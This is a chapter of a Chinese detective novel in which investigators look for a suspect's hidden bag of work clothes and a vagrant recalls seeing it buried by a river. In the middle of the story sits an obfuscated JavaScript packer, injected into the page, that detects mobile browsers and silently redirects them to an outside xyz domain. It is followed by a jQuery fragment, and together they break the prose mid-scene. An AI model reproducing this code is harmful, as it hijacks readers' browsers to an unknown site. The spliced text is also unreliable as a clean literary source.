37.流浪汉
作品:《浴火而生》 周琳昏过去后,班青和白杨赶紧把她送去检查,没过多久,人就醒了过来,只是医生并没有诊断出她有什么问题。
白杨和班青听了医生的话后,两人对视一眼,都察觉到对方眼中的担忧。
果不出所料,越害怕什么越来什么。
周琳再次进入审讯室后,整个人的态度和气势又变了,又回到“什么都不知道,知道也无可奉告”的状态。
两人没有奈何,只能暂停对周琳的审讯。
不过所幸,按照周琳之前交代的内容,班青和白杨带人再次去往城南水泥厂,在案发地点外展开地毯式搜查,不出一个小时,就在水泥厂外的草垛里找到了那块石头。
石头约莫两个拳头大小,通身是花岗岩特有的灰白色,但石头的一侧呈现出深褐色。
将石头送回去检验,几天后结果出来了。
检验结果显示,石头上的深褐色的确是血迹,并且和耿登的DNA一致。
看来,周琳的确是没有说谎。不过自从用周凯刺激她之后,她一直表现得非常配合,整个审讯过程也非常顺利,到底为什么突然又变了态度?
白杨和班青在水泥厂靠近巢河的一侧走着,百思不得其解。
“她好像在我提到她家经济情况的时候,突然变得不对劲……”班青回忆着那日审讯时的情景。
“的确,最后咱俩问到她故意拖延救人,想要以这种方式害死汪明远,然后拿到所有的钱。她先是突然变得虚弱,然后你再次追问的时候,她就开始装晕。”
白杨也想起了审讯当天的情况,他侧过脸看着班青,却看见班青转过身子,面向河堤的方向,不知道在看什么,根本没听他说话。
白杨疑惑地走到班青身旁,问她:“你怎么了?看什么呢?”
“14日那天,周凯从安城回关图县的时候,是从巢河附近下的高速路吧?”
“对啊,司机师傅这么说的。”白杨还是不明白她的意思。
班青突然转头看向白杨,“他穿的那套搬家公司的工装,是长袖和长裤的搭配,头上戴了顶鸭舌帽,还戴了口罩。八月的天气,温度接近四十度,他穿成这样,先不说他能不能忍耐,如果其他人看见了,未免也太过招摇。”
白杨这会儿也明白了,他转而想到安城周凯家小区路口的监控。
“对了,他那天带了一个包……如果包里面装的是他要换的衣服,那包和他身上的那套工装在哪儿……”
班青看着对岸,沉思半天,作出了自己的猜想。
“周凯先把手机放在安城的家里,开了定位,扰乱咱们的视线。然后还不放心,乔装成搬家的工人,一路遮挡避开监控。足以见得,他是个非常谨慎细致的人。
“那身工装太招摇,他一定会换掉,那么换下来的工装和那个包就得处理。出了这片厂房,外面的监控和人流可就多了,所以我倾向于就地处理,而不是带出去。”
“那包东西很可能还在厂房的某个角落里……”白杨点点头,转身回头看向身后的厂区,“不过,被烧掉也有可能。”
厂区绵延一片,从这么大的地方找出个小包,可不是件容易的事情。
白杨心中想着,到底没说出来,而后又转过身,同班青一齐看向对岸。
自从上次大雨后,关图县又接近二十天没下过一滴雨,巢河水位再次下降,露出河道中一块又一块的石头。
白杨突然想到一种可能性,他扭头注视着班青,刚要开口,班青就明白了他的想法。
“你想说,有没有可能周凯把他的包扔到了巢河里?”
“如果扔到巢河里,顺着水流,现在肯定不知道漂到哪儿去了,就更是找不着……”
“可是案发的时候很久没下雨,水位跟现在差不多。如果周凯把他的包扔里面,那不是一下就能看见了?依他的性子,我感觉不太可能……”
白杨点点头,又想到接下来的工作量,不免十分头疼,“只能大海捞针,试试看了。”
紧接着又是持续快一个星期的搜查,连蓝色工装的衣角也没找到。
就在班青和白杨一行人找得昏天黑地的时候,有人提供了重要线索。
准确地讲,那是一个流浪汉。
那流浪汉白天饿了就去路边的餐馆乞讨,要是有人驱赶,就换一个地方讨饭,行踪并不固定。
本来他之前一直在关图县城的城区流浪乞讨,结果夏天来了,关图县打算评选文明卫生城市,流浪汉就因为影响市容市貌被人赶出了城,一直辗转在郊区的各个地方。
现下可是一年中最热的时候,蹭不到空调和风扇,就只能吹自然风,所以流浪汉灵机一动,干脆去了河边睡觉。
8月14日的晚上,他偷到一个别人点的外卖,吃完晚饭之后,正优哉游哉地走在河堤上消食,突然听到一阵突兀的动静。
那声音从他身后不远处的小树林里传来,窸窸窣窣,干枯树叶裂开的声音混合着树枝被踩断的声音,在夜间的河岸边听得格外明显。
他本以为又是哪个跟自己一样流浪的小猫小狗,流浪到此处寻一个安静的住所。
拔脚欲走,却听见一声闷哼。
好奇心驱使之下,流浪汉抬起的脚又收了回去,屏息凝神,以一种近乎贴地的姿势匍匐在树林之外的空地上。
多日没有下雨,这些荒芜多年的树木也没人看管,此时已经严重缺水,许多叶片也都干枯,而后掉落进泥地里。
透过树木稀疏的间隙,他看到一个穿着短袖的年轻男子,正掰了一根粗长的树枝,在林子里的泥土地上挖着什么。
流浪汉凑近了一看,那根树枝到底是不称手,年轻男子挖了半天已经累得气喘如牛。良久之后,却见年轻男子取了身旁的一个小包,将那包埋在他面前挖好的深坑里,又用挖出的泥土填满了,踩得严严实实。
“啪嚓!”
流浪汉看着对方埋好东西快要离开,他撑在地上的手臂早已经有些发软,肌肉的酸痛迫使他不自觉地换了个姿势,可谁知,手一换地方便按上一截干枯的树枝。
树枝应声而断,吓得他慌忙捂嘴。
“谁?”
年轻男子抬脚欲走,才走出两步就听到身后传来突兀的响动。
他转过身体,强作镇定,心里早就砰砰直跳,空旷寂静的夜晚,只有偶尔传来的几声蝉鸣。蝉鸣声沙哑,像是抽烟多年的老烟枪在询问他,震得他头皮发麻。
年轻男子环顾四周,看了一整圈也没看到什么异常。
突然,他径直朝着小树林外河岸的方向走过去,猫着腰,捡起刚才随手扔在地上的粗长树枝,将它在手里攥得死紧,作出防备的姿态。
流浪汉透过树枝的间隙,看到那年轻男子一步步走向自己,顿觉不妙。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16166671|179109||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他都已经五十多岁了,无论如何也打不过一个年轻的壮年男子。
他手上暗暗蓄力,脚掌用力贴在地上,打算随时起身,健步飞奔离开。
“喵——”
黑夜里,一只通身乌黑的瘦弱野猫从流浪汉的斜前方蹿了出去,一个刹那就消失在林子当中,只留下一声凄厉渗人的哀嚎。
年轻男子走向流浪汉的脚步突然停了,他颤抖着双手,放下手里的树枝,抹去脸上黏腻潮湿的热汗,双手撑在膝盖上半蹲着,等待双脚上的酸软和颤抖逐渐褪去。
几分钟之后,年轻男子抓狂地攥紧了耳畔的碎发,然后又十分畅快地放开,长舒一口气,弯腰捡了更多的枯树叶子,将他刚才挖的洞坑遮挡得严严实实。
流浪汉狼狈地瘫坐在树林外面,他不敢再轻举妄动,哪怕那人已经走开。他仍然在等,等到他能确定对方的确已经离开,等他能够确定对方不会再次回来。
大约十几分钟之后,流浪汉终于壮着胆子猫进了树林里。
借着朦胧的夜色,他激动地拨开那厚厚一层枯树叶子,然后用双手的指甲使劲扒开泥土,想要一探究竟。
但是年轻男子太过谨慎,离开前对着这坑踩了又踩,他不过扒了几下,紧实的泥土就将他的手指挤得生疼。
流浪汉拿过被扔到一旁的树枝,胡乱往泥土里戳,几分钟之后,那小包终于出现在他视野里。
树枝被他扔到一旁,他拿出小包,没耐心地扒开。
凑近脑袋一看,却不是什么值钱的玩意儿,更不是他以为偷来的赃物。
“呸!什么狗屁,耽误老子大半天!就他妈的一件破衣裳也值得你怎么藏啊,看不起谁?缺心眼的臭小子,整老子玩呢?呸!晦气东西!”
流浪汉嘴上骂骂咧咧,气急败坏地扒开树枝,钻出树林子,又回到他刚才纳凉的河堤上。没过多久就像死猪一般,沉沉睡了过去,呼噜声震天响。
小包和里面的一套蓝色衣服被他像烂树叶一样扔到一旁,不知道掉落在了树林里的哪个角落,也不知道最后会成为哪个小动物的窝。
几天之后,并没有哪个可怜的小动物在此搭窝。
一只脏污粗糙的大手,从树枝的缝隙里伸出,一把抓起那小包,回手一掏,那包就挤开两棵矮小树木的枝丫间消失不见。
树上的枯树叶随着来人的动作落下一大片,留下两棵树窸窸窣窣的抖动声音,在暴烈狂躁的雨声和雷声中倒是不太惹人注意。
“狗天气,突然下什么大雨?差点给我冻死!”
流浪汉嘴上不干不净地骂着,站在一棵黄葛树下,一边脱下他已经脏得看不见本来颜色的破烂衣服,又用那身破烂擦了擦湿透了的头发,一边迅速穿上包里的蓝色工装。
至于那顶同色系的藏蓝色鸭舌帽,早就因为他脑袋太大戴不上而扔进了湍急的河水中。
那身工装的主人估计长手长脚,流浪汉只有一米六出头,袖子和裤脚都长出一大截。
他挽起袖子,又低头将裤脚卷了三四圈,才抄起跑来时用来挡雨的纸板子,趿拉着不知从哪里偷来的凉鞋,深吸一口气跑进了雨中。
几分钟之后,流浪汉又跑回了树林外,捡起他刚才换下的破烂衣裳,装进他扔在草丛中的小包里,将那小包宝贝似的踹在怀中,再次跑进雨中。
“破破烂烂,好在穿着凉快。”